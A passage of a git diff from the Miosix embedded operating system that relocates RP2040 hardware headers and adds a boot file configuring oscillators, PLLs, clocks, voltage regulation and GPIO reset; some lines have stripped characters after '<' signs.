miosix/arch/chip/rp2040/rp2040/hardware/structs/ioqspi.h diff --git a/miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/structs/mpu.h b/miosix/arch/chip/rp2040/rp2040/hardware/structs/mpu.h similarity index 100% rename from miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/structs/mpu.h rename to miosix/arch/chip/rp2040/rp2040/hardware/structs/mpu.h diff --git a/miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/structs/nvic.h b/miosix/arch/chip/rp2040/rp2040/hardware/structs/nvic.h similarity index 100% rename from miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/structs/nvic.h rename to miosix/arch/chip/rp2040/rp2040/hardware/structs/nvic.h diff --git a/miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/structs/pads_qspi.h b/miosix/arch/chip/rp2040/rp2040/hardware/structs/pads_qspi.h similarity index 100% rename from miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/structs/pads_qspi.h rename to miosix/arch/chip/rp2040/rp2040/hardware/structs/pads_qspi.h diff --git a/miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/structs/padsbank0.h b/miosix/arch/chip/rp2040/rp2040/hardware/structs/padsbank0.h similarity index 100% rename from miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/structs/padsbank0.h rename to miosix/arch/chip/rp2040/rp2040/hardware/structs/padsbank0.h diff --git a/miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/structs/pio.h b/miosix/arch/chip/rp2040/rp2040/hardware/structs/pio.h similarity index 100% rename from miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/structs/pio.h rename to miosix/arch/chip/rp2040/rp2040/hardware/structs/pio.h diff --git a/miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/structs/pll.h b/miosix/arch/chip/rp2040/rp2040/hardware/structs/pll.h similarity index 100% rename from miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/structs/pll.h rename to miosix/arch/chip/rp2040/rp2040/hardware/structs/pll.h diff --git a/miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/structs/psm.h b/miosix/arch/chip/rp2040/rp2040/hardware/structs/psm.h similarity index 100% rename from miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/structs/psm.h rename to miosix/arch/chip/rp2040/rp2040/hardware/structs/psm.h diff --git a/miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/structs/pwm.h b/miosix/arch/chip/rp2040/rp2040/hardware/structs/pwm.h similarity index 100% rename from miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/structs/pwm.h rename to miosix/arch/chip/rp2040/rp2040/hardware/structs/pwm.h diff --git a/miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/structs/resets.h b/miosix/arch/chip/rp2040/rp2040/hardware/structs/resets.h similarity index 100% rename from miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/structs/resets.h rename to miosix/arch/chip/rp2040/rp2040/hardware/structs/resets.h diff --git a/miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/structs/rosc.h b/miosix/arch/chip/rp2040/rp2040/hardware/structs/rosc.h similarity index 100% rename from miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/structs/rosc.h rename to miosix/arch/chip/rp2040/rp2040/hardware/structs/rosc.h diff --git a/miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/structs/rtc.h b/miosix/arch/chip/rp2040/rp2040/hardware/structs/rtc.h similarity index 100% rename from miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/structs/rtc.h rename to miosix/arch/chip/rp2040/rp2040/hardware/structs/rtc.h diff --git a/miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/structs/scb.h b/miosix/arch/chip/rp2040/rp2040/hardware/structs/scb.h similarity index 100% rename from miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/structs/scb.h rename to miosix/arch/chip/rp2040/rp2040/hardware/structs/scb.h diff --git a/miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/structs/sio.h b/miosix/arch/chip/rp2040/rp2040/hardware/structs/sio.h similarity index 95% rename from miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/structs/sio.h rename to miosix/arch/chip/rp2040/rp2040/hardware/structs/sio.h index c17bbc3fe..90710ef9e 100644 --- a/miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/structs/sio.h +++ b/miosix/arch/chip/rp2040/rp2040/hardware/structs/sio.h @@ -170,8 +170,15 @@ typedef struct { io_ro_32 div_csr; uint32_t _pad1; interp_hw_t interp[2]; + + // (Description copied from array index 0 register SIO_SPINLOCK0 applies similarly to other array indexes) + _REG_(SIO_SPINLOCK0_OFFSET) // SIO_SPINLOCK0 + // Spinlock register 0 + // 0xffffffff [31:0] SPINLOCK0 (0x00000000) + io_rw_32 spinlock[32]; } sio_hw_t; #define sio_hw ((sio_hw_t *)SIO_BASE) +static_assert(sizeof (sio_hw_t) == 0x0180, ""); #endif diff --git a/miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/structs/spi.h b/miosix/arch/chip/rp2040/rp2040/hardware/structs/spi.h similarity index 100% rename from miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/structs/spi.h rename to miosix/arch/chip/rp2040/rp2040/hardware/structs/spi.h diff --git a/miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/structs/ssi.h b/miosix/arch/chip/rp2040/rp2040/hardware/structs/ssi.h similarity index 100% rename from miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/structs/ssi.h rename to miosix/arch/chip/rp2040/rp2040/hardware/structs/ssi.h diff --git a/miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/structs/syscfg.h b/miosix/arch/chip/rp2040/rp2040/hardware/structs/syscfg.h similarity index 100% rename from miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/structs/syscfg.h rename to miosix/arch/chip/rp2040/rp2040/hardware/structs/syscfg.h diff --git a/miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/structs/systick.h b/miosix/arch/chip/rp2040/rp2040/hardware/structs/systick.h similarity index 100% rename from miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/structs/systick.h rename to miosix/arch/chip/rp2040/rp2040/hardware/structs/systick.h diff --git a/miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/structs/timer.h b/miosix/arch/chip/rp2040/rp2040/hardware/structs/timer.h similarity index 100% rename from miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/structs/timer.h rename to miosix/arch/chip/rp2040/rp2040/hardware/structs/timer.h diff --git a/miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/structs/uart.h b/miosix/arch/chip/rp2040/rp2040/hardware/structs/uart.h similarity index 100% rename from miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/structs/uart.h rename to miosix/arch/chip/rp2040/rp2040/hardware/structs/uart.h diff --git a/miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/structs/usb.h b/miosix/arch/chip/rp2040/rp2040/hardware/structs/usb.h similarity index 100% rename from miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/structs/usb.h rename to miosix/arch/chip/rp2040/rp2040/hardware/structs/usb.h diff --git a/miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/structs/vreg_and_chip_reset.h b/miosix/arch/chip/rp2040/rp2040/hardware/structs/vreg_and_chip_reset.h similarity index 100% rename from miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/structs/vreg_and_chip_reset.h rename to miosix/arch/chip/rp2040/rp2040/hardware/structs/vreg_and_chip_reset.h diff --git a/miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/structs/watchdog.h b/miosix/arch/chip/rp2040/rp2040/hardware/structs/watchdog.h similarity index 100% rename from miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/structs/watchdog.h rename to miosix/arch/chip/rp2040/rp2040/hardware/structs/watchdog.h diff --git a/miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/structs/xip_ctrl.h b/miosix/arch/chip/rp2040/rp2040/hardware/structs/xip_ctrl.h similarity index 100% rename from miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/structs/xip_ctrl.h rename to miosix/arch/chip/rp2040/rp2040/hardware/structs/xip_ctrl.h diff --git a/miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/structs/xosc.h b/miosix/arch/chip/rp2040/rp2040/hardware/structs/xosc.h similarity index 100% rename from miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/structs/xosc.h rename to miosix/arch/chip/rp2040/rp2040/hardware/structs/xosc.h diff --git a/miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/types.h b/miosix/arch/chip/rp2040/rp2040/hardware/types.h similarity index 100% rename from miosix/arch/cortexM0plus_rp2040/common/rp2040/hardware/types.h rename to miosix/arch/chip/rp2040/rp2040/hardware/types.h diff --git a/miosix/arch/cortexM0plus_rp2040/common/rp2040/pre_boot/.gitignore b/miosix/arch/chip/rp2040/rp2040/pre_boot/.gitignore similarity index 100% rename from miosix/arch/cortexM0plus_rp2040/common/rp2040/pre_boot/.gitignore rename to miosix/arch/chip/rp2040/rp2040/pre_boot/.gitignore diff --git a/miosix/arch/cortexM0plus_rp2040/common/rp2040/pre_boot/Makefile b/miosix/arch/chip/rp2040/rp2040/pre_boot/Makefile similarity index 100% rename from miosix/arch/cortexM0plus_rp2040/common/rp2040/pre_boot/Makefile rename to miosix/arch/chip/rp2040/rp2040/pre_boot/Makefile diff --git a/miosix/arch/cortexM0plus_rp2040/common/rp2040/pre_boot/asminclude/boot2_helpers/exit_from_boot2.S b/miosix/arch/chip/rp2040/rp2040/pre_boot/asminclude/boot2_helpers/exit_from_boot2.S similarity index 100% rename from miosix/arch/cortexM0plus_rp2040/common/rp2040/pre_boot/asminclude/boot2_helpers/exit_from_boot2.S rename to miosix/arch/chip/rp2040/rp2040/pre_boot/asminclude/boot2_helpers/exit_from_boot2.S diff --git a/miosix/arch/cortexM0plus_rp2040/common/rp2040/pre_boot/asminclude/boot2_helpers/read_flash_sreg.S b/miosix/arch/chip/rp2040/rp2040/pre_boot/asminclude/boot2_helpers/read_flash_sreg.S similarity index 100% rename from miosix/arch/cortexM0plus_rp2040/common/rp2040/pre_boot/asminclude/boot2_helpers/read_flash_sreg.S rename to miosix/arch/chip/rp2040/rp2040/pre_boot/asminclude/boot2_helpers/read_flash_sreg.S diff --git a/miosix/arch/cortexM0plus_rp2040/common/rp2040/pre_boot/asminclude/boot2_helpers/wait_ssi_ready.S b/miosix/arch/chip/rp2040/rp2040/pre_boot/asminclude/boot2_helpers/wait_ssi_ready.S similarity index 100% rename from miosix/arch/cortexM0plus_rp2040/common/rp2040/pre_boot/asminclude/boot2_helpers/wait_ssi_ready.S rename to miosix/arch/chip/rp2040/rp2040/pre_boot/asminclude/boot2_helpers/wait_ssi_ready.S diff --git a/miosix/arch/cortexM0plus_rp2040/common/rp2040/pre_boot/boot2.h b/miosix/arch/chip/rp2040/rp2040/pre_boot/boot2.h similarity index 100% rename from miosix/arch/cortexM0plus_rp2040/common/rp2040/pre_boot/boot2.h rename to miosix/arch/chip/rp2040/rp2040/pre_boot/boot2.h diff --git a/miosix/arch/cortexM0plus_rp2040/common/rp2040/pre_boot/boot2_at25sf128a.S b/miosix/arch/chip/rp2040/rp2040/pre_boot/boot2_at25sf128a.S similarity index 100% rename from miosix/arch/cortexM0plus_rp2040/common/rp2040/pre_boot/boot2_at25sf128a.S rename to miosix/arch/chip/rp2040/rp2040/pre_boot/boot2_at25sf128a.S diff --git a/miosix/arch/cortexM0plus_rp2040/common/rp2040/pre_boot/boot2_generic_03h.S b/miosix/arch/chip/rp2040/rp2040/pre_boot/boot2_generic_03h.S similarity index 100% rename from miosix/arch/cortexM0plus_rp2040/common/rp2040/pre_boot/boot2_generic_03h.S rename to miosix/arch/chip/rp2040/rp2040/pre_boot/boot2_generic_03h.S diff --git a/miosix/arch/cortexM0plus_rp2040/common/rp2040/pre_boot/boot2_is25lp080.S b/miosix/arch/chip/rp2040/rp2040/pre_boot/boot2_is25lp080.S similarity index 100% rename from miosix/arch/cortexM0plus_rp2040/common/rp2040/pre_boot/boot2_is25lp080.S rename to miosix/arch/chip/rp2040/rp2040/pre_boot/boot2_is25lp080.S diff --git a/miosix/arch/cortexM0plus_rp2040/common/rp2040/pre_boot/boot2_usb_blinky.S b/miosix/arch/chip/rp2040/rp2040/pre_boot/boot2_usb_blinky.S similarity index 100% rename from miosix/arch/cortexM0plus_rp2040/common/rp2040/pre_boot/boot2_usb_blinky.S rename to miosix/arch/chip/rp2040/rp2040/pre_boot/boot2_usb_blinky.S diff --git a/miosix/arch/cortexM0plus_rp2040/common/rp2040/pre_boot/boot2_w25q080.S b/miosix/arch/chip/rp2040/rp2040/pre_boot/boot2_w25q080.S similarity index 100% rename from miosix/arch/cortexM0plus_rp2040/common/rp2040/pre_boot/boot2_w25q080.S rename to miosix/arch/chip/rp2040/rp2040/pre_boot/boot2_w25q080.S diff --git a/miosix/arch/cortexM0plus_rp2040/common/rp2040/pre_boot/boot2_w25x10cl.S b/miosix/arch/chip/rp2040/rp2040/pre_boot/boot2_w25x10cl.S similarity index 100% rename from miosix/arch/cortexM0plus_rp2040/common/rp2040/pre_boot/boot2_w25x10cl.S rename to miosix/arch/chip/rp2040/rp2040/pre_boot/boot2_w25x10cl.S diff --git a/miosix/arch/cortexM0plus_rp2040/common/rp2040/pre_boot/boot_stage2.ld b/miosix/arch/chip/rp2040/rp2040/pre_boot/boot_stage2.ld similarity index 100% rename from miosix/arch/cortexM0plus_rp2040/common/rp2040/pre_boot/boot_stage2.ld rename to miosix/arch/chip/rp2040/rp2040/pre_boot/boot_stage2.ld diff --git a/miosix/arch/cortexM0plus_rp2040/common/rp2040/pre_boot/pad_checksum.py b/miosix/arch/chip/rp2040/rp2040/pre_boot/pad_checksum.py similarity index 100% rename from miosix/arch/cortexM0plus_rp2040/common/rp2040/pre_boot/pad_checksum.py rename to miosix/arch/chip/rp2040/rp2040/pre_boot/pad_checksum.py diff --git a/miosix/arch/chip/rp2040/rp2040_boot.cpp b/miosix/arch/chip/rp2040/rp2040_boot.cpp new file mode 100644 index 000000000..6ec04f0a6 --- /dev/null +++ b/miosix/arch/chip/rp2040/rp2040_boot.cpp @@ -0,0 +1,350 @@ +/*************************************************************************** + * Copyright (C) 2024 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/* + * System initialization code for RP2040 + * Partially based on code from the Raspberry Pi Pico SDK + * + * The RP2040 boot process consists of three stages: + * Stage 1: Bootloader in ROM does basic system initialization. If BOOTSEL is + * not set, loads stage 2 and jumps to it. + * Stage 2: Stored in the first 256 bytes of flash. Configures XIP peripheral + * for the specific FLASH chip used, then jumps to stage 3. Source + * code for stage 2 is in common/rp2040/pre_boot. + * Stage 3: This file. + * + * In Miosix we consider RP2040 stage 1 and stage 2 as "Miosix preboot". + */ + +#include "miosix_settings.h" +#include "interfaces/arch_registers.h" +#include "interfaces/gpio.h" +#include + +//Include the RP2040 flash stage 2 pre-built bootloader binary. +//Boot2 is also responsible for pointing VTOR to our interrupt table. +#include + +namespace miosix { + +/// Configure the XOSC peripheral +static void xoscInit() +{ + xosc_hw->ctrl = XOSC_CTRL_FREQ_RANGE_VALUE_1_15MHZ; + xosc_hw->startup = ((oscillatorFrequency / 1000) + 128) / 256; // Startup wait ~= 1ms + hw_set_bits(&xosc_hw->ctrl, XOSC_CTRL_ENABLE_VALUE_ENABLE<status & XOSC_STATUS_STABLE_BITS)); +} + +/// Configure a specific PLL +static void pllInit(pll_hw_t *pll, uint32_t refdiv, uint32_t fbdiv, + uint32_t post_div1, uint32_t post_div2) +{ + // Reset the PLL + uint32_t pll_reset = (pll_usb_hw==pll)? RESETS_RESET_PLL_USB_BITS: + RESETS_RESET_PLL_SYS_BITS; + reset_block(pll_reset); + unreset_block_wait(pll_reset); + // Load VCO-related dividers before starting VCO + pll->cs = refdiv; + pll->fbdiv_int = fbdiv; + // Turn on PLL + hw_clear_bits(&pll->pwr, PLL_PWR_PD_BITS | PLL_PWR_VCOPD_BITS); + // Wait for PLL to lock + while (!(pll->cs & PLL_CS_LOCK_BITS)); + // Setup and turn on post divider + pll->prim = (post_div1<pwr, PLL_PWR_POSTDIVPD_BITS); +} + +/// Configure a clock generator device with glitchless mux +static void glitchlessClockInit(enum clock_index clk_index, + uint32_t src, uint32_t auxsrc, uint32_t div) +{ + clock_hw_t *clock = &clocks_hw->clk[clk_index]; + div = div << CLOCKS_CLK_GPOUT0_DIV_INT_LSB; + // If increasing divisor, set divisor before source. Otherwise set source + // before divisor. This avoids a momentary overspeed when e.g. switching + // to a faster source and increasing divisor to compensate. + if (div > clock->div) + clock->div = div; + // If switching a glitchless slice (ref or sys) to an aux source, switch + // away from aux *first* to avoid passing glitches when changing aux mux. + // Assume (!!!) glitchless source 0 is no faster than the aux source. + if (src == CLOCKS_CLK_SYS_CTRL_SRC_VALUE_CLKSRC_CLK_SYS_AUX) + { + hw_clear_bits(&clock->ctrl, CLOCKS_CLK_REF_CTRL_SRC_BITS); + while (!(clock->selected & 1u)) {} + } + // Set aux mux first, and then glitchless mux + hw_write_masked(&clock->ctrl, + (auxsrc << CLOCKS_CLK_SYS_CTRL_AUXSRC_LSB), + CLOCKS_CLK_SYS_CTRL_AUXSRC_BITS); + hw_write_masked(&clock->ctrl, + src << CLOCKS_CLK_REF_CTRL_SRC_LSB, + CLOCKS_CLK_REF_CTRL_SRC_BITS); + while (!(clock->selected & (1u << src))) {} + // Now that the source is configured, we can trust that the user-supplied + // divisor is a safe value. + clock->div = div; +} + +/// Configure a clock generator device without glitchless mux +static void clockInit(enum clock_index clk_index, uint32_t auxsrc, uint32_t div) +{ + clock_hw_t *clock = &clocks_hw->clk[clk_index]; + div = div << CLOCKS_CLK_GPOUT0_DIV_INT_LSB; + // If increasing divisor, set divisor before source. Otherwise set source + // before divisor. This avoids a momentary overspeed when e.g. switching + // to a faster source and increasing divisor to compensate. + if (div > clock->div) + clock->div = div; + // Cleanly stop the clock to avoid glitches propagating when + // changing aux mux. + hw_clear_bits(&clock->ctrl, CLOCKS_CLK_GPOUT0_CTRL_ENABLE_BITS); + // Delay for around 200 cycles to ensure the clock propagated. + // We consider a worst case scenario where the CPU clock is clocked at the + // full 125MHz and the clock to configure is clocked at 1MHz + for (int i=0; i<200; i++) asm(""); + // Set aux mux + hw_write_masked(&clock->ctrl, + (auxsrc << CLOCKS_CLK_SYS_CTRL_AUXSRC_LSB), + CLOCKS_CLK_SYS_CTRL_AUXSRC_BITS); + // Enable clock. + hw_set_bits(&clock->ctrl, CLOCKS_CLK_GPOUT0_CTRL_ENABLE_BITS); + // Now that the source is configured, we can trust that the user-supplied + // divisor is a safe value. + clock->div = div; +} + +static void clockTreeSetup() +{ + // Disable "resuscitator" and enable xosc + clocks_hw->resus.ctrl = 0; + xoscInit(); + + // Before we touch PLLs, switch sys and ref cleanly away from their aux sources. + hw_clear_bits(&clocks_hw->clk[clk_sys].ctrl, CLOCKS_CLK_SYS_CTRL_SRC_BITS); + while(clocks_hw->clk[clk_sys].selected != 0x1) ; + hw_clear_bits(&clocks_hw->clk[clk_ref].ctrl, CLOCKS_CLK_REF_CTRL_SRC_BITS); + while(clocks_hw->clk[clk_ref].selected != 0x1) ; + + if(cpuFrequency>133333333) + { + // vcore to 1.15V + vreg_and_chip_reset_hw->vreg=(12<vreg=(11<vreg&VREG_AND_CHIP_RESET_VREG_ROK_BITS)) ; + + // Setup SYS PLL to cpuFrequency rounded to the nearest MHz + // VCO frequency (fb_div * oscillatorFrequency) must be >= 750MHz + static_assert((cpuFrequency / 1000000) * oscillatorFrequency >= 750, "cpuFrequency too slow"); + // SYS PLL = 12MHz * (cpuFrequency/1000000) / 6 / 2 ~= cpuFrequency + // Optimal parameters for common frequencies + if(cpuFrequency==133333333) pllInit(pll_sys_hw, 1, 100, 3, 3); + else if(cpuFrequency==200000000) pllInit(pll_sys_hw, 1, 100, 6, 1); + else pllInit(pll_sys_hw, 1, cpuFrequency/1000000, 6, 2); + // USB PLL = 12MHz * 64 / 4 / 4 = 48 MHz + pllInit(pll_usb_hw, 1, 64, 4, 4); + + // Configure clocks: + // CLK_REF = XOSC (usually) 12MHz / 1 = 12MHz + glitchlessClockInit(clk_ref, + CLOCKS_CLK_REF_CTRL_SRC_VALUE_CLKSRC_CLK_REF_AUX, + CLOCKS_CLK_REF_CTRL_AUXSRC_VALUE_CLKSRC_PLL_USB, 1); + // Enable watchdog tick timer (also used by timer peripheral) + // Frequency: 12MHz (clk_ref) / 12 = 1MHz + watchdog_hw->tick = WATCHDOG_TICK_ENABLE_BITS | 1; + // CLK SYS = PLL SYS (usually) 125MHz / 1 = 125MHz + glitchlessClockInit(clk_sys, + CLOCKS_CLK_SYS_CTRL_SRC_VALUE_CLKSRC_CLK_SYS_AUX, + CLOCKS_CLK_SYS_CTRL_AUXSRC_VALUE_CLKSRC_PLL_SYS, 1); + // CLK USB = PLL USB 48MHz / 1 = 48MHz + clockInit(clk_usb, CLOCKS_CLK_USB_CTRL_AUXSRC_VALUE_CLKSRC_PLL_USB, 1); + // CLK ADC = PLL USB 48MHZ / 1 = 48MHz + clockInit(clk_adc, CLOCKS_CLK_ADC_CTRL_AUXSRC_VALUE_CLKSRC_PLL_USB, 1); + // CLK RTC = PLL USB 48MHz / 1024 = 46875Hz + clockInit(clk_rtc, CLOCKS_CLK_RTC_CTRL_AUXSRC_VALUE_CLKSRC_PLL_USB, 1024); + // CLK PERI = clk_sys. + clockInit(clk_peri, CLOCKS_CLK_PERI_CTRL_AUXSRC_VALUE_CLK_SYS, 1); +} + +/** + * This function is the first function called during boot to initialize the + * platform memory and clock subsystems. + * + * Code in this function has several important restrictions: + * - When this function is called, part of the memory address space may not be + * available. This occurs when the board includes an external memory, and + * indeed it is the purpose of this very function to enable the external + * memory (if present) and map it into the address space! + * - This function is called before global and static variables in .data/.bss + * are initialized. As a consequence, this function and all function it calls + * are forbidden from referencing global and static variables + * - This function is called with the stack pointer pointing to the interrupt + * stack. This is in general a small stack, but is the only stack that is + * guaranteed to be in the internal memory. The allocation of stack-local + * variables and the nesting of function calls should be kept to a minimum + * - This function is called with interrupts disabled, before the kernel is + * started and before the I/O subsystem is enabled. There is thus no way + * of printing any debug message. + * + * This function should perform the following operations: + * - Configure the internal memory wait states to support the desired target + * operating frequency + * - Configure the CPU clock (e.g: PLL) to run at the desired target frequency + * - Enable and configure the external memory (if available) + * + * As a postcondition of running this function, the entire memory map as + * specified in the linker script should be accessible, so the rest of the + * kernel can use the memory to complete the boot sequence, and the CPU clock + * should be configured at the desired target frequency so the boot can proceed + * quickly. + */ +void IRQmemoryAndClockInit() +{ + /* + * Check if we are core 0. If it's not the case, go back to the bootrom. + * This should not be necessary, but the Pico SDK does this check to play it + * safe... + */ + asm volatile( + " ldr r0, =0xd0000000 \n" // 0xd0000000 = SIO CPUID + " ldr r0, [r0] \n" + " cmp r0, #0 \n" // Is it core zero? + " beq 1f \n" // Yes: all OK, continue + " movs r3, #20 \n" // No: go back to bootrom + " ldrh r3, [r3, #4] \n" // R3 = addr of rom_func_lookup + " ldrh r0, [r3, #0] \n" // arg0 = function table address + " ldr r1, = 'W' | ('V' << 8) \n" // arg1 = function code for _wait_for_vector + " blx r3 \n" // Call rom_func_lookup, returns address of _wait_for_vector in R0 + " bx r0 \n" // Jump to _wait_for_vector. Does not return + "1: \n" + :::"r0","cc"); + + //On RP2040 this function is empty, as they do not really support CMSIS + //properly. We do everyting ourselves. + //SystemInit(); + + // Reset all peripherals to put system into a known state, except for: + // - QSPI pads and the XIP IO bank, as this is fatal if running from flash + // - the PLLs, as this is fatal if clock muxing has not been reset on this boot + reset_block(~(RESETS_RESET_IO_QSPI_BITS + | RESETS_RESET_PADS_QSPI_BITS + | RESETS_RESET_PLL_USB_BITS + | RESETS_RESET_PLL_SYS_BITS)); // These are the peripherals NOT being reset + // Kill clock of non-essential peripherals + // Essential peripherals are BUSCTRL, BUSFAB, VREG, Resets, ROM, SRAMs + // We also leave on some more stuff we need + const unsigned int clock0mask= + CLOCKS_WAKE_EN0_CLK_SYS_CLOCKS_BITS + | CLOCKS_WAKE_EN0_CLK_SYS_BUSCTRL_BITS // (essential) + | CLOCKS_WAKE_EN0_CLK_SYS_BUSFABRIC_BITS // (essential) + | CLOCKS_WAKE_EN0_CLK_SYS_IO_BITS // (essential as we are using QSPI) + | CLOCKS_WAKE_EN0_CLK_SYS_VREG_AND_CHIP_RESET_BITS // (essential) + | CLOCKS_WAKE_EN0_CLK_SYS_PADS_BITS // (essential as we are using QSPI) + | CLOCKS_WAKE_EN0_CLK_SYS_PLL_SYS_BITS // (essential as we might be clocked using the PLL now) + | CLOCKS_WAKE_EN0_CLK_SYS_PLL_USB_BITS // (essential as we might be clocked using the PLL now) + | CLOCKS_WAKE_EN0_CLK_SYS_PSM_BITS // Power on State Machine + | CLOCKS_WAKE_EN0_CLK_SYS_RESETS_BITS // (essential) + | CLOCKS_WAKE_EN0_CLK_SYS_ROM_BITS // (essential) + | CLOCKS_WAKE_EN0_CLK_SYS_ROSC_BITS // Internal ring oscillator (essential as we might be clocked using the ROSC now) + | CLOCKS_WAKE_EN0_CLK_SYS_SIO_BITS // Single-Cycle IO (GPIOs/CPUID/CPU FIFOs/Spinlocks) (needed by the kernel later) + | CLOCKS_WAKE_EN0_CLK_SYS_SRAM0_BITS // (essential) + | CLOCKS_WAKE_EN0_CLK_SYS_SRAM1_BITS // (essential) + | CLOCKS_WAKE_EN0_CLK_SYS_SRAM2_BITS // (essential) + | CLOCKS_WAKE_EN0_CLK_SYS_SRAM3_BITS; // (essential) + clocks_hw->wake_en0=clock0mask; + clocks_hw->sleep_en0=clock0mask; + const unsigned int clock1mask= + CLOCKS_WAKE_EN1_CLK_SYS_SRAM4_BITS // (essential) + | CLOCKS_WAKE_EN1_CLK_SYS_SRAM5_BITS // (essential) + | CLOCKS_WAKE_EN1_CLK_SYS_WATCHDOG_BITS // (needed by the kernel later for rebooting) + | CLOCKS_WAKE_EN1_CLK_SYS_XIP_BITS // (essential because almost certainly in use now) + | CLOCKS_WAKE_EN1_CLK_SYS_XOSC_BITS; // (essential because we might be clocked by this now) + clocks_hw->wake_en1=clock1mask; + clocks_hw->sleep_en1=clock1mask; + + //QUIRK: the rp2040 GPIO when reset configures pins as output by default! + //This was causing problems if a fault reset occurs such as a HardFault as + //immediately after printing the fault debug message, the chip would reboot + //and hit the reset above that would configure the serial TX as + //output low, inadvertently sending a break condition that would prevent + //the debug message from being printed. As a positive side effect of this + //fix, ALL GPIOs, not just the serial ones get disabled at boot, which is + //desirable as pins driven externally will cause a short circuit with the + //default output configuration. This is still not perfect, as between the + //reset_block() and the loop there's still a few microsecond glitch where + //the GPIO pins are driven low. Sadly, that's the best we can do to fix + //bad hardware design. + for(unsigned int i=0; iio[i]=toUint(Mode::DISABLED); + + //QUIRK: You would expect the hardware spinlocks to be reset on a CPU + //reset but they are not. + for(unsigned int i=0; i<32; i++) sio_hw->spinlock[i]=1; + + // Setup clock generation + clockTreeSetup(); + + // Peripheral clocks should now all be running, turn on basic peripherals + // clocks_hw->wake_en0|=CLOCKS_WAKE_EN0_CLK_SYS_BUSCTRL_BITS; + // clocks_hw->sleep_en0|=CLOCKS_WAKE_EN0_CLK_SYS_BUSCTRL_BITS; //Already set above + const unsigned int clock2mask= + CLOCKS_WAKE_EN1_CLK_SYS_SYSINFO_BITS + | CLOCKS_WAKE_EN1_CLK_SYS_SYSCFG_BITS; + clocks_hw->wake_en1|=clock2mask; + clocks_hw->sleep_en1|=clock2mask; + unreset_block_wait(RESETS_RESET_SYSINFO_BITS + | RESETS_RESET_SYSCFG_BITS + | RESETS_RESET_BUSCTRL_BITS); + // Disable peripherals we surely don't need anymore + clocks_hw->wake_en0&=~CLOCKS_WAKE_EN0_CLK_SYS_ROSC_BITS; + clocks_hw->sleep_en0&=~CLOCKS_WAKE_EN0_CLK_SYS_ROSC_BITS; + // Disable sleep clocks of peripherals that won't be accessed if the CPU sleeps + clocks_hw->sleep_en0&=~( + CLOCKS_WAKE_EN0_CLK_SYS_CLOCKS_BITS // can't reconfigure clocks when in sleep + | CLOCKS_WAKE_EN0_CLK_SYS_IO_BITS // can't reconfigure pads when in sleep + | CLOCKS_WAKE_EN0_CLK_SYS_PADS_BITS // can't reconfigure pads when in sleep + | CLOCKS_WAKE_EN0_CLK_SYS_RESETS_BITS // can't reconfigure resets when in sleep + | CLOCKS_WAKE_EN0_CLK_SYS_ROM_BITS // can't read the ROM when in sleep + | CLOCKS_WAKE_EN0_CLK_SYS_SIO_BITS); // only accessible by CPUs + clocks_hw->sleep_en1&=~( + CLOCKS_WAKE_EN1_CLK_SYS_SYSINFO_BITS // only accessible by CPUs + | CLOCKS_WAKE_EN1_CLK_SYS_SYSCFG_BITS // only accessible by CPUs + | 